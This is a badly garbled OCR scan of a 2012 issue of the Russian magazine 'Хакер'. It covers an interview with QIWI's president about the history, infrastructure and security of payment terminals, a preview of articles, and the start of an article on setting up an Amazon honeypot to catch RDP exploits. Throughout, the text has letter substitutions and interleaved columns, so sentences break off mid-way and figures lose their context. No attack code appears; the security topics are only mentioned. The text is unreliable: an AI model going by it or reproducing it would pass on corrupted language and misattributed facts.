отgачu,
а,
"upload-limit" : "upload-1 imi t-enaЫed" : а , 1* Сохранgть фа0лы с маскоО 22 !18 В 1В-о0 сuстеме), (.* что .. nоэВолuт чuтать ux gругuм nольэоВателgм *1 umask : 18 , Настройка uнтерфеОса уgаленного gocтyna "гpc-authentication-гequiгed" : l , "гpc-paSSIIJOrd" : "ПАРОЛЬ" , "грс-рогt" : 9В9 1, "гpc-useгname" : "ПОЛЬЗОВАТЕЛЬ" , "гpc -l&ilitelist-enaЬled" : В ,
1*
EPIDEMZ.NET
*1
EPIDEMZ.NET
EPIDEMZ.NET
·COVERSTORY
ХАКЕР
030
EPIDEMZ.NET
05/160/ 2012
Инт ер вью с соз д а т е л е м с исте мы пл атеж ны х терм и н а л о в
ИНТЕРВЬЮ С СОЗДАТЕЛЕМ СИСТЕМЫ ПЛАТЕЖНЫХ
ТЕРМИНАЛОВ
АНДРЕЙ
РОМАНЕНКО
Сейчас сложно найти челове
ка, который ни разу не попол нял счет телефона с помощью платежного терминала . А ведь еще в 2000-х для пополнения
баланса пришлось бы идти в офис оператора или покупать скретч-карту. О том , какой путь
пришлось проделать, чтобы сформировать культуру исполь зования платежны х терминалов, и как устроена платежная систе
ма и з нутри, нам в подробностя х ра с с к азал президент группы
QIWI
ФАКТЫ Родился в
БУА
аnеште в 1979 годУ
Женат. QтецдвоихАетей амыхусnешных
•
ЛиАеР реитинг: ~ол оже 33 лет no мужчин Росси
версии журнала «
Финанс »
фонда ilech ар• а
очтоматов, no~
Заnустил сеть n н там интернет· зволяющих кл и е ть свой з аказ в
мазагинов забра
Все началось со скретч-карт. В кон ц е 90-х сотовые операторы выпустили свой коробоч ный продукт. П омните, были такие коробки
билайновские I<< Б И+>>I и МТСовские? Они на чали про д ават ь ся сотнями тысяч штук, и стало
ясно, что нужно все это как-то оплачиват ь . Д ля
<< Б и+» вы п ус т и ли скретч-карты н оминалом
Один из основателесй в~~~урного
УАобном АЛЯ них мес
Андрей Романенко .
те и в удобное
время
10, 50 и 100 долларов !тогда еще все было в д олла рах!. Мой приятель как раз устроился работать к сотовому опера т ору и обратился ко мне за советом, где эти карты лучше всего продавать.
Я к тому времени уже два года занимался про д ажами и обещал nо д умать . На тот момент существовала барахолка
ropnet .ru . Известное,
старое место- не знаю,
работает ли она сейчас. Там концентрирова лось все, что связано с
IT и
инновациями. Я
разместил там объявление: << П родаются карты Б и+». Минут через пятнад ц ат ь м н е позвонил
н екий Е вгений с Са в елавекого в окзала иска
зал: <<Хочу купить
1000
карт по
10 долларов» .
П араллельна начался шквал звонков
«хотим!». Стало понятно, что есть актуальная тема, которой н ужно заниматься.
ХАКЕР
031
05/160/2012
EPIDEMZ.NET
·COVERSTORY Мы пошли радикальным путем и нарезали
кассир в ы б и рает на Р ОS -т ерми н але о п ера т ора,
Я создал компанию по дистрибуции скре т ч - карт. Мы сделали логистику, н аня л и
вв од и т н омер те л ефо н а, пр и н имает д ен ь ги -
около тридцати разных типов корпусов по
специалистов п о продажам и побежа л и по
и сразу осу щ ес твля етс я о п лата. Б ез всяких РIN
разным лекалам . Так бы л най д ен о пт има л ь
всей Москве и области - соз д авать т очки
код ов . О н и д о лго убеж дал и меня в том, что это
ный вариан т- модель, которая сейчас п ре д
дистрибуции и выставлять т ам карты. Сначала
не сработает, п риво д или м н о го довод ов против
с т авлена на ры н ке.
был т олько <<БИ+>>, но позже п оявились кар т ы
э т ой и де и , но все -т аки со гласи л ись попробова т ь.
всех операторов сотовой связи, nровайдеров
Мы пр овели с ни ми ря д п ереговоро в во Фран
му миру. В Москве тогда почти н иче го н е бы л о,
до с тупа в" сет ь и многих дру г их компаний. В 2001 - 2003 г о д ах д оля в Москве у нас составляла порядка 70%. Мы с т ремились
ц и и , а потом п о л у ч и л и смету. Любая кру п ная
а нужно бы л о откуда -то взят ь n ринте р, та ч скрин,
и у в ажающая себя запа д н а я комп а ния за годы
модем, ку п юрник. Однако в мае 2005- г о мы все
дея тельности вырабат ы вает четкий п райс, где
же получили nрототип, утвер д или е г о и заказа л и
к инновациям и быстро нача л и ис п о л ьзовать
р ас п иса н о, ч т о сколь ко с т оит и как тарифици
с т о ком пл екто в оборуд ова н ия дл я т е р ми н ала .
ве н динговые ма ш и н ы. Э т о забавная история.
р уется. В сме т е зна ч илос ь : выез д специалиста
В ию н е мы собрали п ервые с т о ш тук, посмотре
В начале 2000-х годов в Москве была в ыстав
в Москву- пять ты сяч евро в час, за каждую
л и на склад и п одума л и: ч т о же с н и ми д е л ать,
ка, где свои продукты представлял кана д ский
т ранзакцию по пол п роцента с нарастающим
куда это все продавать? Н а т от момент у нас уже
производи т е л ь
ито г ом, л ицензионные п латежи , сервисные
было человек пятьсот ди л еров в Моск в е и п о
Opal.
Они производили авто
Собирать комплектующие пришлось
no все
маты по продаже скретч - карт для по д во д ных
сбор ы , и так д алее. П осле этого я подумал, что,
Р оссии . Мы разместили объя в ление у себя на
лодокl П од в одные ло д ки и н огда п однимаются
н а в е рн ое, луч ш е буд е т с д елать все самим : ] .
сайте и через т ри дня продали абсо л ют но все.
В те годы РОS-терминал стоил порядка
на п оверхност ь , и, чтобы п одводники могли
А еще через три дня заказов у н ас бы л о е щ е н а
тысячу. Ажиотаж был стра ш н ы й. Как в булоч н ой:
звони т ь своим женам, им периодически необ
1000-1500 долларов.
ходимо попол н ять т елефоны. Оказалось , что на
ком п анию Li пudix, - они nриехали и nривезли
захо д и ш ь, п ирожок тол ь ко ч т о испек л и, а ты е г о
подлодках установле н о много таких автома
с собой в чемо д ане РОS -терминалы с образца
сразу забрал. Б ыло то же самое.
тов. В
ми. У них о д и н Р ОS-терминал с тоил уже около
2002
году мы н ачали ставить картоматы
на nробу, и к середи н е
было около
600
2004
г ода у нас уже
ш тук по Москве. Они были двух
видо в : на четыре типа карт и н а восемь. П од
400
Н о мы нашли корей ц ев,
долларов!
Первый терминал появился в июне
2005
года в Москве . Ег о поста вил и в <<А лы х п ару
На РОS-терминала х корей ц ев стоял
Unix.
М ы заключили до г оворы с опер а торами и на
сах >> на Щ уки н ской. И о н с т ои т т ам д о сих п о р l
УСТРОЙСТВО ТЕРМИНАЛА ОПЛАТЫ
ходишь- стоит здоровенный мета л лический
п исали про ш ивку, реализовав оплат у для
шкаф, килограммов
<<М Т С>>, << Б илайна >> и << Мегафона >> . Этим зани
Железная составляющая терминала проста
малась кома н да моего с п ециалиста , к о торый
это монитор с тачскрином, купюрник, принтер,
р а н ее поддерживал 1С, базы данных и всю
модем и компьютер . П люс е щ е на ш а разра
150.
В ставляеш ь д еньги ,
нажимаешь << Б И+>> , и т ебе выпадает карта.
ОПЛАТА ЧЕРЕЗ РОS-ТЕРМИНАЛЫ В
2003
году ко мне пришли представители
!Т-и н фрас т руктуру нашего бизнеса п о ди с три
ботка- сторожевой таймер, ко т ор ы й у п ра в
бу ц ии. П ри этом у не г о вообще не было опыта
ляется на уровне же л еза, а н е ОС. В ин д а може т
французс к ой компании lпgenico и предложи
в про ц ессинге . О д нако в скоре мы зап у стили
подвиснуть так, ч то п омогает т ол ь ко h a г d г ese t .
ли nринципиально новую модель работы . За
д ва п ро д укта, позволяющих предпринимате
Соответстве н но, меж ду ком п ьютером и мод емом
чем, г оворят, вы кар т очки в озите? Э т о ведь так
л ям п ринимать п латежи : через компьютерную
стоит
тяже л о и небезо п асно : у вас на точках продажи
не отвечает, то д елает ему h aгd гeset . Э т о мы
лежит боль ш ой об ъ ем карт, ко т орые можно
п ро г рамму \сейчас она называет с я <<QIWI К ассир>>] и РОS-термина л . Наши сотрудники
похитить. А то гда на т очке в сред н ем, действи
п роехали п о
самостоятель н о. Ещ е у н ас ес т ь наработ ки п о д
тельно, лежало карточек раз н ого номинала на
скре т ч-карты на Р ОS -терминалы.
9000
т орговым точкам и заменили
watchdog . Е сли
о н ви д ит, что ком п ью тер
придумали сами, и эти п ла ты м ы тоже шт ам п уем
сигнализацию и п рочие на воро ты .
Все должно работать, как автомат Калаш
1000 д олларов. КАК ПОЯВИЛИСЬ ТЕРМИНАЛЫ
Французы предложили не наносить РIN-коды на скретч-карты , а печатать их на
В марте
обычном РОS-терминале . Соотве т с т венно, эти
вивалось и продажи росли, мы реш и ли, что
2005
года, когда все активно раз
никова. Сейчас терм ин ал ы в с р е дн ем стоят
75 000
рублей, н о можно собрат ь и за
50 000.
Только в таком с л учае ку п ю р ник буд е т с т ои т ь
РIN -ко д ы нуж н о п редварительно было ку п ить
нужно делать отдельный платежный киоск.
не
у опера т ора и выгрузи т ь в билл и н г. Пр и ис
Терминал, п латежны й к ио ск, авт ом ат с амооб
л аров не рабо т ает, как ав т ома т Ка л а шн ико в а,
пользовании э т ой т ехно л о г ии скретч - карты не
служива н ия - все на з ывают это п о - р азному.
а значит, т ы будешь к н ему п ос т о янн о ез д и т ь.
нуж н ы - на то ч ке о пл аты д ос т аточно выбрать
Сначала была идея доработать наши
600
дол л аров, а
150. А
ку п ю рн ик за
В свою очередь, купюрник за
600
150 д о л
д о лл а р ов ра
картоматы до платежного терминала . Мы
ботает годами, ч т о уже испробо в а н о, - кешко д
это не ус1троило. Это сей ч ас все привыкли,
п ытались их р еди з айнить , п е р е делать , вы
буд е т надежен .
А за п ла т ит ь за какую-т о бумажку в т е в р еме н а
мо н итор, н о д обиться удовлетворительно г о
ков . Б ываютку п юр н ики для уд а л е н ной р аботы,
б ыл о д икост ь ю д ля ч еловека - н икто б ы не
резул ьт а т а т ак и не удало с ь. Как ни к р у ти, это
у ко т о р ых меха н изм го р аз д о лучше и д о р оже
вос п ри н я л э т о се р ьезно .
б ы л п р ямой металлический шкаф , который не
в ос п ри н имался как нечто новое, hi-tech ' нoe.
[ п о т ому что уд а л енное ус т ройст в о д о л ж н о работа т ь без че л овека ] . И б ы в а е т д е ш е в а я
Мы о т казались от э т ой идеи.
версия купюрн и ков, ко т о р ые д е лали сь п о д
оператора и полу ч ить
PIN
на ч еке. Но меня
что можно по л у ч ить что-то секрет н ое п о
SMS.
Вместо этого я предложил французам сделать прямое пополнение счета . И д ея такая:
р еза т ь д ве р и, добавить т уда 12 -17-дюймовый
К примеру, есть две категории купюрни
ОТ СКРЕТЧ-КАРТ К ТЕРМИНАЛАМ ОПЛАТЫ
ХАКЕР
032
EPIDEMZ.NET
05 /1 60 /2 01 2
Инт е рвью с соз д а т е л е м с и с т е мы пл атеж ны х т е рмин а л о в
Конечно, от такого ни кто не спасется, и ни ч его
не будет работать , ведь туда приходят все
В СРЕДНЕМ НА СЕГОДНЯ
ОБРАБАТЬI
Mbl
каналы. Но если завтра какой-нибудь Ва ся бульдозерист с четырех сторон перережет всю
оптику дата-ц ентра, то просто буд ет работать
ВАЕМ 12 МИЛЛИОНОВ ОПЕРАЦИЙ В ДЕНЬ.
другой дата-центр.
В НОВОГОДНИЕ ПРАЗДНИКИ ПИК ДОХОДИТ
в Москве, другой где-нибудь в России, а тре
Можно было сделать один дата-центр
тий за рубежом, но nока очень дорого делать
ДО 1200 ОПЕРАЦИЙ В СЕКУНДУ
междугородную волоконную инфраструктуру, К примеру, десятигигабитный канал от Самары до Москвы обойдется в
200 000
долларов в ме
сяц. Овчинка выделки не стоит.
игровые автоматы и под вендин г овые машины.
ко чековой ленты осталось, сколько модем
То есть д л я мест, гд е нет боль ш о г о потока
трафика использовано, сколько денег в ку
людей, большой выр учки; где рядом всегда
пюрнике и в каких купюрах ... Все параметры,
есть локальные площадки . Весь
есть человек, который может подойти, открыть
сколько их есть, мы кладем в процессинг.
а весь fгont - там . В каждой стране мы выбира
У нас имеется большой-большой монито
автомат, поправить куnюру, вытащить ее и так
ринг. С его помощью все на ш и
далее. Н ам такой п ро ц есс не по д хо д ит. Внутри терминалов крутится софт, кото
имея
eToken
7500
партнеров,
и логин-пароль, могут зайти и уви
В каждой стране, где мы работаем, у нас
back
- эдесь,
ем топ-5 дата-центров, берем несколько стоек,
ставим оборудова н ие, и все взаимодействие с локальными провайдерами происходит оттуда .
рый мы разрабатываем сами. Сейчас уже, на
деть в онлайне всю свою сеть, все транзакции,
верное, 200-я версия, которая поддерживает
все платежи- все, что пр оисходит с любым тер
все виды прин т еров в мире, в се в и д ы ку п юрни
миналом [открыт он, закрыт, проинкассирован,
Фрода с каждым годом становится все мень
ков, мониторов - словом, все те ус тройства ,
выключен, включен , почем у и так далее!. Все это
ше . Потому что с каждым годом мы наш опыт
которые можно поставить в терминал.
мы делали и придумывали сами.
Наш софт предназначен для винды . У нас были попытки перейти на
Linux,
но мы поняли,
Начать работу с нами просто . Люди прихо
О БЕЗОПАСНОСТИ В
QIWI
и зна ния совершенст в уются. Каждые три месяца уз наешь больше, чем знал раньше, и понима
дят к нам, заключают договор , где-топокуnают
ешь, где, как и что лучше подлатать, как лу чш е
что это уже н евозможно. Д ело в том, что мы
терминал, ска ч ивают с нашег о сайта софт,
сделать . Раньше действительно проблемы были.
постоянно дорабатываем наш софт, постоянно
устанавливают его, устанавливают терминал
Потому что использовался только логин-пароль,
что-то доделываем. Чтобы в какой-то момент
на точку, и их дальнейшая задача - занимать
не было <<карти нки», не было отсылки пароля по
мы смо гли пер ей ти на
ся арендой, инкассацией, техобслуживанием.
SMS,
Linux,
одна команда
должна была п исать то, что уже сделано,
Мы же отвечаем за все, что связано с софтвер
а вторая- то, что еще делается. Мы поняли,
ной частью.
хода. Д а и зачем?
всего
50-70
Windows Embedded стоит Embedded,
долларов. Б ерешь
12
миллионов операций в день . В nике-
в среднем
200
операций в секунду. В новогод
ставишь наш софт, и все прекрасно работает,
ние праздники пик доходит до
нет никаких проблем . К тому же владельцы
в секунду, во время других праздников- до
терминаловlдилеры QIWII набираюттехников
600
1200 операций
операций в секунду.
техники, как правило, не дружат с
Linux.
Существует мнение: на
Linux все будет ра 120 000 терминалов по
и та к далее.
фта, который бы анализировал легитимность транзакций. Сейчас у н ас в три смены си дит большая груnпа специалисто в , анализирую щих операции с nомощью специального софта. Хакеры всегда активно развиваются, и па раллельно с ними развивается весь осталь
ной мир. Д умаю, ни о дн а компания в мире
из фрила н серов, которые уча т ся в институте и готовы работать за небольшие деньги . Э т и
eToken
мониторинга-то есть не было никакого со
В среднем на сегодня мы обрабатываем
что это нереально, и отказались от идеи пере
не было
Раньше у нас не было даже фрад
!Т-ИНФРАСТРУКТУРА
не може т сказать, что у нее нет дыр. Так не
У нас есть три дата-центра- два в Москве
бывает. Конечно, дыры есть . Вопрос- к чему
[М1 и ММТС91 и один в Лондоне
они ведут? Вот это главное, на этом нужно со
[Giobal Swith
21- и большой узел связи. Мы учредили
средо тачиваться. Для нас крайне важно, чтобы
стране работает на винде, и в се хоро ш о. Хотя,
специальную компанию, на которую все
деньги пользователя были в безопасности, а у
конечно, <<Кулибины» есть: существуют п ла
лицензировали, и сами работаем со всем
нас они в безопасности.
тежные системы, которые крутятся на
телеком-оборудованием. Отдавать на аутсоре
ботать лучше . Но у нас
Linux .
Интерфейс терминаласейчасреализован
крупную сетевую инфраструктуру невозмож
Софт терминалов доступен всем без ограни чений, и раньше бывали случаи, когда владель
но, особенно когда у тебя
цы терминалов его модифицировали. Сейчас
развитие, думаю, где -то через полгода мы
[к слову, из них
это невозможно из-за контроля над целостно
перейдем на НТМ L 5-версию. С флешем, конеч
стране,
но, есть свои проблемы : высокая загрузка про
ную сеть. Нам пришлось построить все самим :
работать. Полагаю , при желании с софтом можно
цессорав [есть ком nьют еры е щ е с
пол учить свои
что-то сделать, как-то его изменить, но только на
на флеше . Н о так как
1
HTML5
п олучил активное
2005 го д а),
21
1500 сотрудников 350 -IТ-шникиl, 25 офисов по
страна- и все это связано веди
IP,
стойки на М9, соединиться
стью: если вне сти изменения, то ПО перестает
на терминалы приходится п о дг ружать новую
со всеми операторами, купить свои маршру
о чень сложном уров не. К т ому же, если это кто
версию плеера, и так далее .
тизаторы, все сделать самим.
то сделает, значит, он имеет доступ к терминалу.
На разных площадках задействованы раз
КАК УСТРО ЕН
QIWI
ные сервера. В се в облаках: за счет виртуали
Значит, это свой же сотрудник. У нас маленькие платежи, зачем ломать
Вся база у нас находится в онлайне, нет ника
зации мы сталипокуnать меньше серверов. Все
нас? Чтобы вывести с чьего-то аккаунта пару
кой офлайновой технологии, потому что для
площадки сое динены между собой, если одна из
тысяч рублей? Проще обмануть какой-нибудь
нас это неприемлемо . Я уди вляюсь , как многие
них отключи тся- в онлайне идет репликация
западный банк, со счета юридического лица
ба нки до сих п ор работают в разношенных БД
на другие . О т ключается одн а - мы работаем н а
заб рать миллионы, потом п рогнать их через
и в офлайне.
второй. За три года мы потратили на эт о КУ Ч У
десяток разных банков, заnутать следы и вы
денег, но при нашей капитализации, nри наших
вести куда-нибудь на Кайманы . Зачем парить
нал все дальнейшие операции мы произ
После первой установки софта на терми
оборотах, при наших возможностях ... мы просто
ся с тысячью рублями?
водим в онлайне. Выходит новая версия -
не имели права не потратить эти деньги.
в о нл айне об н овл я ем. Вонлайнемы у п ра вл яем
Несколько лет назад была ситуация,
Мы храним ФИО и телефоны. Хакерам это неинтересно . Мы не храним карточки и их
всем софтом и всё мониторим: скорость работы
когда выгорела М9 [российская точка обмена
реквизиты, в соответствии с банковскими
nроцессора,
интернет-трафиком.- Прим. редакции).
требованиями.
ХАКЕР
SMAR T по
жесткому диску, сколь-
033
05 / 160/ 2012
EPIDEMZ.NET
· COVERSTORY о нас , за нами не смотрели и не наблюдали . Но
один терминал. То ест ь, ес ли речь о мил
DDоS'или. Зачем, для чего, почему? Неизвест
За последние пять лет нас неоднократно
они повторяли, делали те же шаги, что и мы . Н у,
лионнике, у тебя должно бы т ь минимум сто
но. Н о с каж д ой атакой ты в се бол ьш е учишься.
или мы повторяли за ними
Е с ли раньше у н ас были ч уж и е IР-ад р еса, то
разные мас шт абы: у них сейчас что-то около дв ух
было видно . П отом пр осто с раб отает эффект
сейчас у на с отдельная теле ком-компания, н а
т ы сяч киоско в . Однако о ни д о сих п ор н е поняли
массовости .
которой бол ьш ое ко личеств о кана л ов связи .
одного - нужно смотреть на т ерми н ал глазами
Н а ша проп ускна я способность - гигабит пят ь
пользователя . Нужно работать с юзабилити . Что
десят. У нас свои IР-адреса, мы не зависим от
бы каждая кнопочка, каждая фенечка, каждая
операторы, которые образавывались давньlм
провайдеров , и да же если к т о-то знает одного из
штучка были актуальны и понятны. Е сли в Аме
давно, имеют очень старые биллинги или
них- никто не з на ет других. Мы можем просто
рике подойти к их терминалу, вы сразу поймете:
вообще не имеют платежных шлюзов для
вонлайнесменитьпровайдера,сменитьсет~
интерфейс никакой. Про с т ой при мер: чтобы за
подключения к себе. Тарифы у многих строятся
платить за мобильник, у меня у шло десять минут.
от номинала, который ты заплатил. Заплатил
подсеть, и пусть атакуют, хорошая тема
:1.
:1. У нас соверше нно
терминалов в знаковых местах , чтобы их
Есть страны, которые не подходят нам
из-за старых биллинг-операторов. Сотовые
Кто-то, конечно, платит, н о в целом, думаю, они
двадцатку- тебе дают
теряют аудиторию. Нам же удалось создать такой
А наша концепция такова: любую сумму из
всего лишь о дин из тысяч к лиент ов, которому
продукт, который дальше удалось запустить и в
кошелька ты можешь положить на счет. К при
они пр о дают кана л. В Ро ссии п о пальцам
др угих странах .
меру, в Индии мы долгое время не запускались
Ни один провайдер тебя никогда не защи
тит от
DDoS'a лучше, чем ты сам. Дл я них ты
можно п е р есчи тать телеком-провайдеров, кто прода ет ус луг у за щиты от У нас есть
Cisco Guaгd
В
2006 году мы
поехали в Грузию на не
500
минут и
500 SMS.
из-за подобного требования.
сколько дней. Посмотрели на рынок и увидели,
DDoS.
и все остальные же
что там тоже активно развиваются скретч
QIWI
КОШЕЛЕК
лезки и софтины, которые существуют в мире
карты . У нас родилась идея- а почему не
Еще в
для борьбы с
попробовать открыть « доч ку>> и не построи ть там
бильный кошелек» и начали разрабатывать
DDoS.
Принцип их ра боты в целом
2005
году мы создали компанию «Мо
прост: железка весь трафик запоминает и ана
такой же бизнес, как мы построили в России?
приложение. Нам было актуально приложение
лизи рует его - ес ли вдруг начинается какой-то
В Гр узии мы начали с РОS'ов и компьютеро в.
для ди леров. Сейчас у нас есть
др угой трафик, она на аппаратном уровне все
Нашли партнеров, сделали дочку << ОСМП
приема платежей. Можно принимать плате
это фильтрует. Конечно,
Cisco- это
не панацея .
18 типов
Гр узия>> и начали развивать бизнес. В скоре
жи через точку, ус тановленную на
Необходимо использовать целый комплекс обо
с тало о чевидно, что в Грузии все тоже отлично
мобильнике, на ПК , на
POS'e,
iPad,
точек на
на кассе. Нужно
рудов а н ия , испол ь зова ть разные технологии . Мы
работает. Тогда мы создали отдельную команду,
любое устройство, на котором можно вводить
акти вн о сотрудничаем с компаниями, которые
которая занялась развитием стран СН Г. Вскоре
данные , и место, где можно принимать деньги,
занимаю тся за щитой о т
мы запустили Белор уссию, Украину, Казахстан,
а весь софт для это г о у нас есть .
DDoS,
обмениваемся
данными, наработками, опытом . В е дь
DDoS-
бо льшая об щемировая проблем а, о на есть, и мы учимс я с ней бороться, с тан овимся л уч ш е.
DDoS нам
не страшен еще и по другой
Мы с самого начала понимали, что нужно
Молдавию. Н а сегодня охвачены почти все стра ны СНГ.
делать личное пространство пользователя.
Всего в системе
вана
21
QIWI
сейчас задейство
страна. Б изнес между Россией и С НГ
делится примерно как
оператора, захо дит е к нам на ресурс- вы не
цель- добиться, чтобы через пару лет бизнес
большую команду, которая над этим тр удилась.
и дете в интернет. С базовой станции вы доле
делился
К 2009-му стало ясно, что пора персонализиро
таете д о маршрутизатора оператора, и оператор
риски были сняты .
отпра вл яет вас не винтернет-он отправляет
на
50 . Чт обы
У нас ес ть
лек >>, был сайт mobw.гu. Мы начали поти хоньку
причине. Ко гда вы с телефона, через сотово го
50
75% на 25%.
Тогда бренд назывался << Мо бил ьны й коше
некоторые ста новые
развивать это направление, посадили н е
ватьпользователя, регистрироватьег~давать
Имея контракты с операторами , нормальную
ему РIN-код. Коллектив, ко т орый занимался
вас к нам в ка нал . Со в семи о п ераторами сотовой
команду для офиса, повторить бизнес-модель
<<Мобиль ным кошельком>>, мы переименовали
связи и с боль ш ими интернет-пр овайдерами
достаточно легко . Е сли страна кешевая, ника
в
у нас поряд ка тре хсо т прямы х каналов.
кой слож н ос т и с этим не будет. Е сли ст рана д о
нологии для пользователя . Соз д али хороший
сих пор сидит на скрет ч-карта х, если в стра н е
пор т ал, приложен и я для
больше чем
мобильников . Ст ало ясно, что не з ря в
Вирус в терминалах встречался. В феврале
2011
г о да Dг.Web нашел троя н под н аз ванием
60% pгe-paid абонентов [не кон
QIWI
Кошелек и начали развитие В 2С- тех
iPad, iPhoпe
и др угих
2005
Tг oja п . PWS.OSMP. В тот же день в сем агентам
трактных! , то для нас эта страна открыта. Не вез
предоставили информацию о его п ояв л ении .
де мы заходили через сотовую связь. К примеру,
При анализе была выявлена крайне низкая
в Азербайджане мы с тавили для партнеров
услуги, которые в терминале реализовать не
активность. Он появ и лся на нескольких тер
систему и киоски для оплаты газа. У местного
возможно. Е сли н уж но за п ол нять больше дв ух
ми н ала~- мы и Dг.We b его о тл овили. Сейчас
пост а вщикагазабыл а пр облемасосбором
полей , н уж на технология, чтобы э т и данные
на терминалах ус тан овле ны ан т ивирусные
денег- за газ никто не платил . Они поменяли
сохра няли сь, а потом их можно было поднять
решения о т ра з ны х вендоров.
по всей стране счетчики - в счетчике поя в илась
и на их основании осуществить платеж.
Да, когда при е зжают техники, можно
карточка, а на карточке де ньги. Когда карточку
году мы сде лали н а зто ставку.
На сегодня
QIWI
QIWI
Кошельком платят за те
Кошелек в большинстве случаев
в терминал вста в ить фл е шку и принести вирус,
вынимаешь, без нее счетчик может работа ть
обеспечивает банковский сервис. П огашение
но что дальш е? Отправить деньг и на др угой
около
кредитов, пополнение с ч е т о в , пополнение кар т,
номер? Мы об э том уз наем [щ е лка е т пальцами!
кончаю т ся - вынимаешь карточку, иде шь к
MasteгCaгd MoпeySend,
через пять минут. Если поль зо ватель за пл атил
терминалу, вставляешь туда карту, кладешь
люди активно всем этим nользуются . Е сли
за тел ефо н, но не получил
Соответственно, когда деньги
Visa Money Tгan sfeг
д ен ьги , деньги записываются, и т ы несешь кар
говорить о фина н совых услугах, у нас ест ь ряд
с вой ба лан с и не у видел там денег, о н сразу же
то ч ку обра тно в счетчик . Та ким образом уд а л ос ь
nр од уктов. П ервый-
п ой д ет и скаже т об этом. Эт о прои схо дит мол
увеличи ть сборы в стране в несколько раз.
с фиксированным номиналом, тре хмесячная.
SMS
или пров ери л
12 часов.
ниеносно- в течение дня ты с раз у уз наешь ,
что у тебя п о явилась пр облема .
Существует некий эффект массовости,
Второй продукт-
QIWI Visa Viгtual,
QIWI Visa
это карта
Сагd. Карта да е тся
определенный барьер количества точек,
на год: она без номинала и п рив я зана к с ч ету
который нужно перейти. В поселке, в городе,
кошелька. Кроме того , несколько месяцев назад
в стране. Барь ер, п осле которого люди начнут
мы запус т или пр одукт
Нигде в мире больше нет такой культуры
платить. К примеру, у нас есть од н а страна ... она
сайте за сто рублей ты можешь заказа ть n ла
терминалов . Мы соз дали и эту т ехно л огию, и сам
худо - бедно развивалась, но почти не росла. Мы
с тиковую карту, и мы отправим ее п о чт ой. Карта
с п особ оплаты. Впрочем , два года назад мы
перешли барьер количест в а точек в сто лице,
привязана к балансу кошелька. Плю с еще есть
в се -т аки натолкнулись на одну американскую
и начался рост- каждый месяц по
интернет-магазины. Н а сегодня у нас п одключе
МЕЖДУНАРОДНАЯ ЭКСПАНСИЯ
компанию-
TIO. Они утвержд ают,
что н е з н а ли
На
10 000 человек должен
100-200%.
приходиться
ны более
5000
QIWI Visa Pla stic.
интернет-магазинов. I
ХАКЕР
EPIDEMZ.NET
У нас на
05/160/2012
Preview
31
страница на одной полосе .
Тизер некоторых статей .
PCZONE '6
КАКУСТРОЕН GOOGLE Думаю, мало кто в мире имеетполное представлениеотом,кактехнически
устроен поисковый гигант. Только еду майся в цифру: ежедневная аудитория
Google составляетоколо миллиарда человек! Чтобы обслужить такое
количество пользователей, работает почти миллион серверов по всему миру.
При этом инженерам
Google постоянно
удается оптимизировать работу системы:
среднеевремя обработкизапросасейчас составляеткак их-то
100 миллисекунд
-а ведь в индексе поисковик а более 40миллиардовстраниц10том,накакие ухищрения приходится идти компании и
какиетехнологии для этого используют ся, мы сегодня и поговорим .
взлом
PCZONE
ХАНИПОТНААМАZОN
36
Когда кто-то предла г аетсервер
DNS- это одна
из основ современного
68
Историяреальноговэлома,рассказы
бесплатно, грех не воспользоваться
интернета. Вспоминаем старые и
вающая ото м, что и в крупных порталах с
предложением.Приспосабливаемтакой
разбираемся с н овыми векторами атак
большойо пытнойкомандой программи
хает для ловли свежих сплоитовl
на эту основополагающую технологию.
стов бываютуязвимости.
взлом
1
ВЕСЕЛЫЕ ВЗЛОМЫ Пятьэабавныхисторийизпрактики одного авторитетного исследователя
безопасности веб-приложений ВладимираВоронцова.
ХАК ЕР
ПРОЩАЙ,ЛИРУШЕЧКА!
ATAKИHADNS
62
MALWARE
•
МАЛВАРЬ У АППАРАТА! Современнаямалварьвполнеможет использоватьмногопроцессорност~
аппаратные особенности железа и дажевиртуализацию .Как?
05/160/2012
•
ЯДРО ПОД УГРОЗОЙ Мы решили взятьодин из самых из вестных способов про н икновения в ядро Windows и посмотреть, как на это реагируют популярные антивирусы .
035
EPIDEMZ.NET
.PCZONE
ПОДНИМАЕМ ЛОВУШКУДЛЯ
Антон
В арсенале любой антивирусной компании есть большая сеть так называемых хан и потов- намеренно уязвимых машин, используемых для детектирования
ЧЕРВЕЙ И СПЛОИТОВ В ОБЛАКЕ
«Ant» Жуков lzhukov.alareal.xakep.rul
новых видов мал вари . Мы тоже можем создать такую
ловушку-приманку, попытавшись поймать приватный сплоит. Причем сделать ее абсолютно безопасно для себя , подняв ханипот в облаке .
ХАКЕР
036
EPIDEMZ.NET
05/160/2012
Ханипат на
Amazon
Inbound
Details Create а new rule:
Custom
ТСР
rule
22 ( SSH)
Port range : Source:
(e.g., 80 or 9152-65535)
2222
0.0.0.0/0
3389 ( RDP )
0.0.0.0/ 0 0.0.0.0/ 0 0.0.0 .0/ 0
Delete Delete Delete
(e .g., 192.168.2.0/24, sg -47ad482e, or 123 567890/default)
Add Rule 1
1 Apply
Настройка внешнего файрвала на
Rule Changes
1
Amazon
ЦЕЛЬ В марте
фикации аккаунта. Единственно, что для успешной регистрации
Microsoft
выпустила патч и опубликовала бюллетень по
потребуется пластиковая карта
[Visa или MasterCard]. Если у тебя
безопасности М512-020, предупреждающий о критических уяз
нет карты или ты по какой-то причине не хочешь ее задейство
вимастях в протоколе удаленного рабочего стола, потенциально
вать , то можно без проблем приобрести виртуальную кредитную
влекущих за собой возможность удаленного выполнения кода.
карту, например в терминалах
В Сети тогда начали появляться как фейковые, так и настоящие
ции необходимо будет указать свой номер телефона , после чего
РоС, вызывающие на удаленной машине
с истема совершит автоматический дозвон и приятным женским
B5oD,
и особенно резвые
QIWI.
На последнем шаге регистра
товарищи уже начали портировать эти скрипты в модуль для
голосом попросит ввести четырехзначный пин-код, который будет
Metasploit !сейчас он уже доступен). Это было интересное время,
отображен на экране компьютера. После этого можно перейти
чтобы поднять свой ханипот и посмотреть на возможные атаки на
к созданию и настройке сервера.
RDР-сервис. И очень просто- достаточно открыть в файреале порт
3389
и смотреть все, что на него приходит: если бы появился
СОЗДАЕМ И НАСТРАИВАЕМ СЕРВЕР
червь с боевой нагрузкой, то он вполне реально мог <<отметиться»
Важное преимущества облачных сервисов перед обычным
в наших лагах. Н о где взять сервер? У
хостингом- возможность быстро, буквально в два клика под
Amazonl
нять новый сервер [или к примеру три десятка- без разницы).
БЕСПЛАТНЫЙ ДЕДИК
Как это выглядит? Заходим на сайт под созданным аккаунтом
